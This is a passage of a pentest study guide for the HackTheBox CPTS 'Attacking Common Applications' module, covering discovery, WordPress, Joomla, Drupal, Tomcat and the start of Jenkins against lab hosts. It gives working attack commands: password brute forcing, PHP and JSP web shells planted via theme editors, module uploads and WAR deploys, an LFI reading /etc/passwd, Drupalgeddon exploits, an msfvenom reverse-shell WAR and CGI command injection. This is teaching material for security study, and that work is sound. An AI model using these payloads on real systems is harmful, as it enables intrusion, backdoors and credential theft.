attacking-common-applications-guide.md (81048B)
1 --- 2 title: "Attacking Common Applications — Full Guide" 3 description: "Detailed CPTS walkthrough for footprinting and exploiting common apps: WordPress, Joomla, Drupal, Tomcat, Jenkins, Splunk, PRTG, osTicket, GitLab, CGI/Shellshock, thick clients, ColdFusion, IIS tilde, LDAP injection, mass assignment, and connection-string recovery." 4 category: pentest-workflow 5 subcategory: "Companion Guides" 6 order: 24 7 tags: ["htb", "cpts", "attacking-common", "applications", "wordpress", "joomla", "drupal", "tomcat", "jenkins", "splunk", "prtg", "osticket", "gitlab", "shellshock", "coldfusion", "iis", "ldap", "thick-client", "pentest-workflow"] 8 tools: ["nmap", "eyewitness / aquatone / httpx", "wpscan", "droopescan", "gobuster / feroxbuster / ffuf", "metasploit", "msfvenom", "curl / searchsploit", "dnSpy / de4dot / x64dbg / gdb-peda", "iis_shortname_scanner", "ldapsearch", "nxc / crackmapexec", "burp suite"] 9 difficulty: intermediate 10 updated: "2026-09-15" 11 source: "vault:HackTheBox/Academy/CPTS Path/24-Attacking-Common-Applications" 12 --- 13 14 [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation) 15 16 # Attacking Common Applications — Full Guide `fas:ClipboardList` 17 18 > [!dashboard] What this is 19 > The long-form companion to the Attacking Common Applications cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up. 20 21 Off-the-shelf applications are the softest part of most networks. A company patches its OS fleet and hardens AD, then leaves a Tomcat manager on `tomcat:tomcat`, a Splunk trial that quietly lost its login, or a WordPress plugin that hasn't shipped a fix since 2016. These apps sit on both the perimeter and the internal network, and one weak credential or forgotten install is often the whole foothold. 22 23 Every target in this module answers to the same loop, so learn the loop rather than memorising eleven separate exploits: 24 25 <figure class="flow plate corners"> 26 <figcaption class="flow__cap"><span class="flow__kind">App attack loop</span><span class="flow__dir">TD</span></figcaption> 27 <div class="flow__body"> 28 <div class="flow__diagram" data-dir="td"> 29 <div class="flow-rank"><div class="flow-node is-entry">Sweep web ports<span class="sub">80,443,8000,8080,8180,8500,8009,8089,10000</span></div></div> 30 <div class="flow-edge"></div> 31 <div class="flow-rank"><div class="flow-node">Fingerprint app + exact version<span class="sub">(headers, generator meta, changelog,</span><span class="sub">default paths, favicon)</span></div></div> 32 <div class="flow-edge"></div> 33 <div class="flow-rank"><div class="flow-node">Reach the admin/management console<span class="sub">(default creds → weak-password spray → OSINT)</span></div></div> 34 <div class="flow-edge"></div> 35 <div class="flow-rank"><div class="flow-node is-decision">Turn access into code execution</div></div> 36 <div class="flow-branches"> 37 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Built-in feature:<span class="sub">theme/template editor, script console,</span><span class="sub">WAR/app/plugin upload, notification exec</span></div></div> 38 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Version-specific CVE<span class="sub">(traversal, unauth upload, deserialisation)</span></div></div> 39 </div> 40 <div class="flow-join"></div> 41 <div class="flow-rank"><div class="flow-node is-goal">Shell as the service account<span class="sub">(often SYSTEM or root)</span></div></div> 42 <div class="flow-edge"></div> 43 <div class="flow-rank"><div class="flow-node">Loot creds → pivot →<span class="sub">local privilege escalation</span></div></div> 44 </div> 45 </div> 46 </figure> 47 48 > [!danger] Authorised testing only 49 > Every technique below is full exploitation — unauth RCE, credential theft, backdoored uploads. Run it only against systems you are explicitly authorised to test (a lab, a signed engagement). Three things to keep honest on a real assessment: 50 > 1. **Admin-console RCE plants a live backdoor.** A web shell in `404.php`, an uploaded WAR, a malicious Splunk app — each is a real backdoor on a real box. Track every artefact you drop, its full path, and remove it at cleanup. 51 > 2. **Some chains are destructive.** Joomla's CVE-2019-10945 can *delete* directories; Drupalgeddon writes to the database. Prefer read-only proof where you can. 52 > 3. **OSINT and breach-data lookups touch third parties.** Keep them inside the rules of engagement. 53 54 > [!success]+ Landing a shell — implant + hand-off 55 > `fas:Spider` 56 > Match the web-shell language to the server, then hand off to the right privesc guide: 57 > - **PHP** (WordPress, Joomla, Drupal, osTicket): drop [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) or a one-line `system($_GET[...])`. 58 > - **JSP** (Tomcat, ColdFusion-on-Java): package [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) as a WAR. 59 > - **ASP/ASPX** (IIS): VBScript → `.asp`, C# → `.aspx`. Cross the wires and IIS answers `Server Error in '/' Application`. 60 > - **Windows app host** (IIS, PRTG, Jenkins-on-Windows, ColdFusion): [Windows PrivEsc](/sheets/pentest-workflow/privilege-escalation) — service accounts here almost always hold `SeImpersonatePrivilege`. 61 > - **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): [Linux PrivEsc](/sheets/privilege-escalation/linux-privesc). 62 > Full shell catalogue and handler notes: [Web Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). 63 64 --- 65 66 ## 1 · Application discovery at scale `fas:Terminal` 67 68 Browsing every `IP:port` by hand does not scale past a handful of hosts. The workable approach is two Nmap passes feeding a screenshotter, so a wall of open ports becomes a ranked list of applications worth opening. 69 70 <figure class="flow plate corners"> 71 <figcaption class="flow__cap"><span class="flow__kind">Discovery at scale</span><span class="flow__dir">LR</span></figcaption> 72 <div class="flow__body"> 73 <div class="flow__diagram" data-dir="lr"> 74 <div class="flow-rank"><div class="flow-node is-entry">Scope list</div></div> 75 <div class="flow-edge"></div> 76 <div class="flow-rank"><div class="flow-node">Fast web-port sweep<span class="sub">(-p 80,443,8000,8080,8180,8888,10000)</span></div></div> 77 <div class="flow-edge"></div> 78 <div class="flow-rank"><div class="flow-node">Targeted -sV on responders<span class="sub">(this is what names Splunk/PRTG)</span></div></div> 79 <div class="flow-edge"></div> 80 <div class="flow-rank"><div class="flow-node">Screenshot triage<span class="sub">EyeWitness / Aquatone / gowitness</span></div></div> 81 <div class="flow-edge"></div> 82 <div class="flow-rank"><div class="flow-node">Review high-value hits first<span class="sub">(dev/qa/acc vhosts on top)</span></div></div> 83 <div class="flow-edge"></div> 84 <div class="flow-rank"><div class="flow-node is-goal">Per-app footprint + exploit</div></div> 85 </div> 86 </div> 87 </figure> 88 89 Lab exercises with FQDN vhosts need `/etc/hosts` entries first, since every vhost resolves to the one spawned IP: 90 91 ```bash 92 IP=10.129.42.195 93 printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts 94 ``` 95 96 Sweep the scope for the ports web apps and their management consoles live on, writing all three Nmap formats so the XML can feed a screenshotter: 97 98 ```bash 99 sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list 100 ``` 101 102 `--open` drops closed/filtered noise; `-oA` writes `.nmap/.gnmap/.xml`; `-iL` reads targets from a file. Then run version detection on anything that answered — this is the step that turns "http on a weird port" into "Splunkd on 8000, PRTG on 8080": 103 104 ```bash 105 sudo nmap --open -sV 10.129.201.50 106 ``` 107 108 ``` 109 80/tcp open http Microsoft IIS httpd 10.0 110 8000/tcp open http Splunkd httpd 111 8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor) 112 8089/tcp open ssl/http Splunkd httpd (free license; remote login disabled) 113 ``` 114 115 Feed the XML to a screenshotter and review the report — high-value targets surface first, and identical default landing pages cluster together so you can skip a fleet of clones: 116 117 ```bash 118 # EyeWitness (Selenium-driven, ships on Kali) 119 eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness 120 121 # Aquatone (pipe the same Nmap XML) 122 cat web_discovery.xml | ./aquatone -nmap 123 ``` 124 125 > [!tip]+ Modern triage — httpx + nuclei 126 > `fas:Lightbulb` 127 > EyeWitness and Aquatone still work and still ship on Kali, but the Go tooling is faster and better maintained. `httpx -screenshot` probes and fingerprints huge lists quickly and pipes straight into `nuclei` for follow-on scanning; `gowitness` is a headless-Chrome screenshotter that sets up in seconds. Fold Splunk's `Splunkd httpd`, PRTG's `Indy httpd`, and Tomcat's `Server` banner into a `nuclei` fingerprint pass across the whole scope. 128 129 > [!info] Flag the non-prod vhosts first 130 > Hostnames with `dev`, `qa`, `acc`, `stage`, or `test` are patched last and gated loosest — verbose errors, debug modes, half-finished features. When the screenshot report lists a dozen sites, start there. 131 132 --- 133 134 ## 2 · WordPress `fas:Terminal` — PHP, port 80 135 136 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 137 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 138 <img src="/diagrams/attacking-common-applications/wordpress.svg" alt="WordPress logo" style="height:54px;width:auto" loading="lazy" decoding="async" /> 139 </span> 140 <figcaption><span>WordPress · world's most common CMS</span></figcaption> 141 </figure> 142 143 WordPress runs roughly a third of the web, so it turns up on almost every external test. The risk lives in its ~50k-plugin ecosystem, not in core — over half of known WordPress CVEs are plugin or theme bugs. Two reliable routes to code execution: brute an admin login and use the built-in Theme Editor, or exploit a vulnerable plugin directly. 144 145 <figure class="flow plate corners"> 146 <figcaption class="flow__cap"><span class="flow__kind">WordPress to RCE</span><span class="flow__dir">TD</span></figcaption> 147 <div class="flow__body"> 148 <div class="flow__diagram" data-dir="td"> 149 <div class="flow-rank"><div class="flow-node is-entry">Footprint: robots.txt,<span class="sub">page source, wp-admin redirect</span></div></div> 150 <div class="flow-edge"></div> 151 <div class="flow-rank"><div class="flow-node">Enumerate plugins/themes/users</div></div> 152 <div class="flow-edge"></div> 153 <div class="flow-rank"><div class="flow-node is-decision">WPScan + manual review</div></div> 154 <div class="flow-branches"> 155 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak admin creds</span></div><div class="flow-node">XML-RPC / wp-login brute force</div><div class="flow-edge"></div><div class="flow-node">Appearance → Theme Editor →<span class="sub">edit 404.php of an inactive theme</span></div><div class="flow-edge"></div><div class="flow-node">system($_GET[...]) web shell</div></div> 156 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Vulnerable plugin</span></div><div class="flow-node">Direct exploit<span class="sub">(mail-masta LFI, wpDiscuz upload)</span></div></div> 157 </div> 158 <div class="flow-join"></div> 159 <div class="flow-rank"><div class="flow-node is-goal">www-data shell</div></div> 160 </div> 161 </div> 162 </figure> 163 164 **Footprint.** The `wp-admin`/`wp-content` paths (also in `robots.txt`) are the fastest tell — hitting `/wp-admin` redirects to `wp-login.php`. Grepping the homepage source reveals the active theme, every enqueued plugin, and each version string: 165 166 ```bash 167 curl -s http://blog.inlanefreight.local | grep -Ei 'wordpress|themes|plugins' 168 # <meta name="generator" content="WordPress 5.8" /> 169 # ...wp-content/themes/transport-gravity/... ?ver=5.8 170 ``` 171 172 A directory listing on `wp-content/plugins/<plugin>/` often exposes a `readme.txt` that pins the exact plugin version for a CVE lookup. WordPress's default login also leaks valid usernames: "unknown user" and "wrong password" produce different errors — an enumeration oracle WPScan drives with `--enumerate u`. 173 174 **Enumerate with WPScan.** An API token cross-references identified versions against the live vuln database (free tier: 75 requests/day): 175 176 ```bash 177 sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN> 178 # --enumerate with no arg = plugins, themes, users, media, backups 179 # --enumerate ap = all plugins · --enumerate u = users 180 ``` 181 182 > [!warning] Scanners and manual review are complementary 183 > In the module's own run, WPScan corrected the theme guess and found a second user (`john`) — but *missed* two plugins (wpDiscuz, Contact Form 7) that a plain `curl | grep` caught. Always do both. `waybackurls` can also surface plugin paths that were unlinked but never deleted from disk — exactly what left mail-masta exploitable. 184 185 **Brute force over XML-RPC.** `xmlrpc.php` accepts many login attempts per request, so it is far faster than hammering `wp-login.php`: 186 187 ```bash 188 sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local 189 # [SUCCESS] - john / firebird1 190 ``` 191 192 **RCE via the Theme Editor.** Any Administrator can edit theme PHP in the browser — admin is effectively RCE. Edit an *inactive* theme so you don't break the live site, and use an unguessable parameter name so a passer-by can't reuse your shell: 193 194 ```php 195 // Appearance → Theme Editor → Twenty Nineteen → 404.php 196 system($_GET[0]); 197 ``` 198 ```bash 199 curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id" 200 # uid=33(www-data) gid=33(www-data) groups=33(www-data) 201 ``` 202 203 The whole flow is automated by `exploit/unix/webapp/wp_admin_shell_upload` (uploads a malicious plugin carrying a PHP Meterpreter, then self-cleans on session close). 204 205 **Vulnerable plugins, no login needed.** 206 207 ```bash 208 # mail-masta — unauthenticated LFI (pl= goes straight into include()) 209 curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd" 210 211 # wpDiscuz CVE-2020-24186 — client-side-only MIME check → PHP upload 212 python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1 213 curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id" 214 ``` 215 216 --- 217 218 ## 3 · Joomla `fas:Terminal` — PHP/MySQL 219 220 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 221 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 222 <img src="/diagrams/attacking-common-applications/joomla.svg" alt="Joomla logo" style="height:58px;width:auto" loading="lazy" decoding="async" /> 223 </span> 224 <figcaption><span>Joomla · PHP/MySQL CMS</span></figcaption> 225 </figure> 226 227 Third-most-used CMS. Unlike WordPress, the login returns a generic error for any wrong field, so username enumeration doesn't work — footprinting leans on files, and brute forcing targets the known `admin` account with a password list. 228 229 <figure class="flow plate corners"> 230 <figcaption class="flow__cap"><span class="flow__kind">Joomla to RCE</span><span class="flow__dir">TD</span></figcaption> 231 <div class="flow__body"> 232 <div class="flow__diagram" data-dir="td"> 233 <div class="flow-rank"><div class="flow-node is-entry">Footprint: generator meta,<span class="sub">README.txt, robots.txt</span></div></div> 234 <div class="flow-edge"></div> 235 <div class="flow-rank"><div class="flow-node">Version: joomla.xml, cache.xml</div></div> 236 <div class="flow-edge"></div> 237 <div class="flow-rank"><div class="flow-node">droopescan / JoomlaScan</div></div> 238 <div class="flow-edge"></div> 239 <div class="flow-rank"><div class="flow-node is-decision">Admin access?</div></div> 240 <div class="flow-branches"> 241 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak/default admin</span></div><div class="flow-node">Templates → Customise → error.php</div><div class="flow-edge"></div><div class="flow-node is-goal">system($_GET[...]) web shell</div></div> 242 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No admin</span></div><div class="flow-node is-danger">CVE-2019-10945 traversal<span class="sub">(auth; also deletes files)</span></div></div> 243 </div> 244 </div> 245 </div> 246 </figure> 247 248 **Footprint and version.** The `generator` meta tag, `robots.txt` (references `/administrator/`), and `README.txt` are the quick tells. Two XML files leak the exact version when readable: 249 250 ```bash 251 curl -s http://dev.inlanefreight.local/ | grep Joomla 252 curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - 253 # <version>3.9.4</version> (also plugins/system/cache/cache.xml) 254 ``` 255 256 `whatweb` is a fast passive cross-check. `droopescan` has only light Joomla support — expect useful paths, not a full plugin list: 257 258 ```bash 259 droopescan scan joomla --url http://dev.inlanefreight.local/ 260 ``` 261 262 > [!tip] JoomlaScan is Python 2.7 and effectively abandoned 263 > It still runs but treat it as supplementary. There's no drop-in successor with the same feature set — `droopescan` plus manual `curl`/`whatweb` is the more reliable Joomla combination now. 264 265 **Brute the admin login** (generic error → spray passwords against `admin`): 266 267 ```bash 268 sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin 269 # Success: admin:admin 270 ``` 271 272 **RCE via the template Customise editor** — same idea as WordPress's Theme Editor: 273 274 ```php 275 // Configuration → Templates → protostar → Customise → error.php 276 system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); 277 ``` 278 ```bash 279 curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id" 280 ``` 281 282 **Pre-/post-auth fallback — CVE-2019-10945** (core 1.5.0–3.9.4): an authenticated directory traversal that lists and *deletes* arbitrary directories. Useful when the admin portal isn't externally reachable but you have a session another way. File deletion is destructive — avoid it on a live assessment. 283 284 ```bash 285 python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir / 286 ``` 287 288 --- 289 290 ## 4 · Drupal `fas:Terminal` 291 292 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 293 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 294 <img src="/diagrams/attacking-common-applications/drupal.svg" alt="Drupal Druplicon logo" style="height:66px;width:auto" loading="lazy" decoding="async" /> 295 </span> 296 <figcaption><span>Drupal · the Druplicon</span></figcaption> 297 </figure> 298 299 Smaller share overall but common in government and higher-ed. Its content model — every item is a "node" at `/node/<id>` — is a fingerprint on its own. Admin access alone isn't instant RCE here: you enable the PHP Filter module, upload a backdoored module, or use one of the three Drupalgeddon CVEs. 300 301 <figure class="flow plate corners"> 302 <figcaption class="flow__cap"><span class="flow__kind">Drupal to RCE</span><span class="flow__dir">TD</span></figcaption> 303 <div class="flow__body"> 304 <svg class="flow-svg" viewBox="0 0 1050 600" role="img" aria-label="Drupal footprint to droopescan to an admin-access decision branching to PHP Filter, manual install, backdoored module, or Drupalgeddon SQLi; the SQLi path feeds the PHP Filter node, and three RCE paths converge on a www-data shell"> 305 <path class="fedge" d="M525,88 L525,160" marker-end="url(#flow-arrow)" /> 306 <path class="fedge" d="M525,208 L525,280" marker-end="url(#flow-arrow)" /> 307 <path class="fedge" d="M525,328 L150,400" marker-end="url(#flow-arrow)" /> 308 <path class="fedge" d="M525,328 L400,400" marker-end="url(#flow-arrow)" /> 309 <path class="fedge" d="M525,328 L650,400" marker-end="url(#flow-arrow)" /> 310 <path class="fedge" d="M525,328 L900,400" marker-end="url(#flow-arrow)" /> 311 <path class="fedge" d="M260,424 L290,424" marker-end="url(#flow-arrow)" /> 312 <path class="fedge" d="M400,448 L525,520" marker-end="url(#flow-arrow)" /> 313 <path class="fedge" d="M650,448 L525,520" marker-end="url(#flow-arrow)" /> 314 <path class="fedge" d="M900,448 L525,520" marker-end="url(#flow-arrow)" /> 315 <g class="fnode is-entry"><rect class="fnode__box" x="405" y="40" width="240" height="48" /><text class="fnode__label" x="525" y="60" text-anchor="middle">Footprint: 'Powered by Drupal',<tspan class="sub" x="525" dy="15">CHANGELOG.txt, /node/<id></tspan></text></g> 316 <g class="fnode"><rect class="fnode__box" x="415" y="160" width="220" height="48" /><text class="fnode__label" x="525" y="188" text-anchor="middle">droopescan: version + modules</text></g> 317 <g class="fnode is-decision"><rect class="fnode__box" x="425" y="280" width="200" height="48" /><text class="fnode__label" x="525" y="308" text-anchor="middle">Admin access?</text></g> 318 <g class="fnode"><rect class="fnode__box" x="40" y="400" width="220" height="48" /><text class="fnode__label" x="150" y="420" text-anchor="middle">Drupalgeddon SQLi<tspan class="sub" x="150" dy="15">→ rogue admin</tspan></text></g> 319 <g class="fnode"><rect class="fnode__box" x="290" y="400" width="220" height="48" /><text class="fnode__label" x="400" y="420" text-anchor="middle">Enable PHP Filter module<tspan class="sub" x="400" dy="15">→ Basic page with PHP code</tspan></text></g> 320 <g class="fnode"><rect class="fnode__box" x="540" y="400" width="220" height="48" /><text class="fnode__label" x="650" y="420" text-anchor="middle">Install PHP Filter manually,<tspan class="sub" x="650" dy="15">then as above</tspan></text></g> 321 <g class="fnode"><rect class="fnode__box" x="790" y="400" width="220" height="48" /><text class="fnode__label" x="900" y="420" text-anchor="middle">Upload backdoored module<tspan class="sub" x="900" dy="15">(shell.php + .htaccess)</tspan></text></g> 322 <g class="fnode is-goal"><rect class="fnode__box" x="450" y="520" width="150" height="48" /><text class="fnode__label" x="525" y="548" text-anchor="middle">www-data shell</text></g> 323 <g class="felabel"><rect class="felabel__box" x="306" y="356" width="62" height="16" /><text class="felabel__text" x="337" y="367" text-anchor="middle">No admin</text></g> 324 <g class="felabel"><rect class="felabel__box" x="431" y="356" width="62" height="16" /><text class="felabel__text" x="462" y="367" text-anchor="middle">Drupal 7</text></g> 325 <g class="felabel"><rect class="felabel__box" x="553" y="356" width="68" height="16" /><text class="felabel__text" x="587" y="367" text-anchor="middle">Drupal 8+</text></g> 326 <g class="felabel"><rect class="felabel__box" x="672" y="356" width="80" height="16" /><text class="felabel__text" x="712" y="367" text-anchor="middle">Any version</text></g> 327 </svg> 328 </div> 329 </figure> 330 331 **Footprint.** `Powered by Drupal`, the Drupal logo, `CHANGELOG.txt`/`README.txt`, and `/node/<id>` URIs. Newer versions block `CHANGELOG.txt`, so a 404 there doesn't rule Drupal out — fall back to droopescan, which has mature Drupal support: 332 333 ```bash 334 curl -s http://drupal.inlanefreight.local | grep -i drupal 335 curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" # Drupal 7.57, 2018-02-21 336 droopescan scan drupal -u http://drupal.inlanefreight.local 337 ``` 338 339 **RCE — PHP Filter module (Drupal 7).** Ships with core but disabled. Enable it, then create a Basic page with the "PHP code" text format: 340 341 ```php 342 <?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?> 343 ``` 344 ```bash 345 curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id" 346 ``` 347 348 Drupal 8 removed the module from core — download and install it manually (`Reports → Available updates → Install new module`), then exploit identically. 349 350 **RCE — backdoored module upload (any version).** Drupal blocks direct access to `/modules`, so bundle an `.htaccess` that re-enables it alongside your shell inside a legitimate module archive: 351 352 ```bash 353 wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz 354 # shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?> 355 # .htaccess: <IfModule mod_rewrite.c>\n RewriteEngine On\n RewriteBase /\n</IfModule> 356 mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/ 357 # Manage → Extend → + Install new module → captcha.tar.gz 358 curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id" 359 ``` 360 361 **Drupalgeddon family:** 362 363 ```bash 364 # CVE-2014-3704 (Drupalgeddon) · pre-auth SQLi, 7.0–7.31 → inserts a rogue admin 365 python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd 366 # msf: exploit/multi/http/drupal_drupageddon 367 368 # CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1 369 python3 drupalgeddon2.py # edit the PoC's write step to drop a base64 PHP shell instead of hello.txt 370 curl "http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id" 371 372 # CVE-2018-7602 (Drupalgeddon3) · authenticated RCE (needs node-delete rights + session cookie) 373 # msf: set DRUPAL_SESSION <cookie> ; set DRUPAL_NODE 1 ; set VHOST drupal-acc.inlanefreight.local 374 ``` 375 376 > [!tip] Prefer the Metasploit modules 377 > The standalone Drupalgeddon PoCs are Python 2 (end-of-life). `drupal_drupageddon` and `drupal_drupageddon3` do the same job without a legacy interpreter on your attack box. 378 379 --- 380 381 ## 5 · Tomcat `fas:Terminal` — 8080/8180, AJP 8009 382 383 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 384 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 385 <img src="/diagrams/attacking-common-applications/tomcat.svg" alt="Apache Tomcat logo" style="height:58px;width:auto" loading="lazy" decoding="async" /> 386 </span> 387 <figcaption><span>Apache Tomcat · Java servlet container</span></figcaption> 388 </figure> 389 390 Apache Tomcat serves Java servlets/JSP and is more common internally than externally. Weak creds on `/manager` or `/host-manager` let you deploy a WAR (a zipped JSP shell) through the GUI or API — near-instant RCE, usually as a very privileged service account. 391 392 <figure class="flow plate corners"> 393 <figcaption class="flow__cap"><span class="flow__kind">Tomcat to RCE</span><span class="flow__dir">TD</span></figcaption> 394 <div class="flow__body"> 395 <div class="flow__diagram" data-dir="td"> 396 <div class="flow-rank"><div class="flow-node is-entry">Footprint: Server header, /docs</div></div> 397 <div class="flow-edge"></div> 398 <div class="flow-rank"><div class="flow-node">Find /manager, /host-manager</div></div> 399 <div class="flow-branches"> 400 <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Brute the manager login</div><div class="flow-edge"><span class="flow-edge__label">Success</span></div><div class="flow-node">Deploy JSP-in-WAR<span class="sub">via GUI/API</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Shell as Tomcat account<span class="sub">(often SYSTEM/root)</span></div></div> 401 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No manager</span></div><div class="flow-node">AJP 8009 → Ghostcat<span class="sub">CVE-2020-1938 file read</span></div><div class="flow-edge"></div><div class="flow-node">Read WEB-INF/web.xml, configs</div></div> 402 </div> 403 </div> 404 </div> 405 </figure> 406 407 > [!info] Tomcat layout worth knowing 408 > `conf/tomcat-users.xml` holds manager credentials and roles (`manager-gui`, `manager-script`, `manager-jmx`, `manager-status`). `webapps/<app>/WEB-INF/web.xml` is the deployment descriptor mapping routes to classes — a prime target for any file-read primitive. 409 410 **Footprint and locate the manager.** The `Server` header leaks the version when a proxy hasn't stripped it; `/docs` is a reliable fallback. Content-discovery confirms the manager apps: 411 412 ```bash 413 curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat # Apache Tomcat 9 (9.0.30) 414 feroxbuster -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50 415 # /manager (302) · /host-manager (302) 416 ``` 417 418 **Brute the manager login** (Basic Auth — creds are base64 `user:pass` in the `Authorization` header): 419 420 ```bash 421 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58 422 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 423 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local 424 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true 425 msf6 auxiliary(scanner/http/tomcat_mgr_login) > run 426 # [+] Login Successful: tomcat:admin 427 ``` 428 429 **Deploy a WAR-packaged JSP shell.** A WAR is just a zip; Tomcat auto-extracts uploads and serves them at `/<archive-name>/`: 430 431 ```bash 432 wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp 433 zip -r backup.war cmd.jsp 434 # Manager → Deploy → backup.war 435 curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id" # uid=1001(tomcat) 436 # Reverse-shell WAR in one line: 437 # msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > backup.war 438 ``` 439 440 Undeploy the app after use and record the upload path (`$CATALINA_HOME/webapps/`) for the report. 441 442 **CVE-2020-1938 (Ghostcat)** — unauthenticated AJP file read on Tomcat < 9.0.31 / 8.5.51 / 7.0.100. The AJP connector (normally for front-end proxying) reads files under `webapps/` — not the whole filesystem, but enough to pull `WEB-INF/web.xml`: 443 444 ```bash 445 nmap -sV -p 8009,8080 app-dev.inlanefreight.local # 8009 ajp13 Apache Jserv 446 python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml 447 ``` 448 449 **CVE-2019-0232** — CGI Servlet command injection, Windows only, with `enableCmdLineArguments` set. The query string isn't sanitised before becoming command-line arguments, so `&` chains a command onto a legitimate `.bat`/`.cmd` CGI script. The special-char filter is bypassable with URL encoding: 450 451 ```bash 452 ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat # welcome.bat 453 # http://10.129.204.227:8080/cgi/welcome.bat?&dir 454 # http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe 455 ``` 456 457 --- 458 459 ## 6 · Jenkins `fas:Terminal` — 8080 (agent 5000) 460 461 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem"> 462 <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px"> 463 <img src="/diagrams/attacking-common-applications/jenkins.svg" alt="Jenkins butler mascot logo" style="height:88px;width:auto" loading="lazy" decoding="async" /> 464 </span> 465 <figcaption><span>Jenkins · CI/CD automation server</span></figcaption> 466 </figure> 467 468 Jenkins is a CI server that frequently runs as `SYSTEM` (Windows) or `root` (Linux). Any authenticated access — even anonymous, if misconfigured — reaches the `/script` Groovy console, and Groovy compiles to JVM bytecode running with the full privileges of the Jenkins process. That makes it a fast, privileged foothold straight into an AD environment, skipping local privesc entirely. 469 470 <figure class="flow plate corners"> 471 <figcaption class="flow__cap"><span class="flow__kind">Jenkins to RCE</span><span class="flow__dir">TD</span></figcaption> 472 <div class="flow__body"> 473 <div class="flow__diagram" data-dir="td"> 474 <div class="flow-rank"><div class="flow-node is-entry">Fingerprint login on :8080</div></div> 475 <div class="flow-edge"></div> 476 <div class="flow-rank"><div class="flow-node is-decision">Auth?</div></div> 477 <div class="flow-branches"> 478 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">None / weak creds</span></div></div> 479 <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Anon build+job rights</span></div></div> 480 </div> 481 <div class="flow-join"></div> 482 <div class="flow-rank"><div class="flow-node">/script Groovy console</div></div> 483 <div 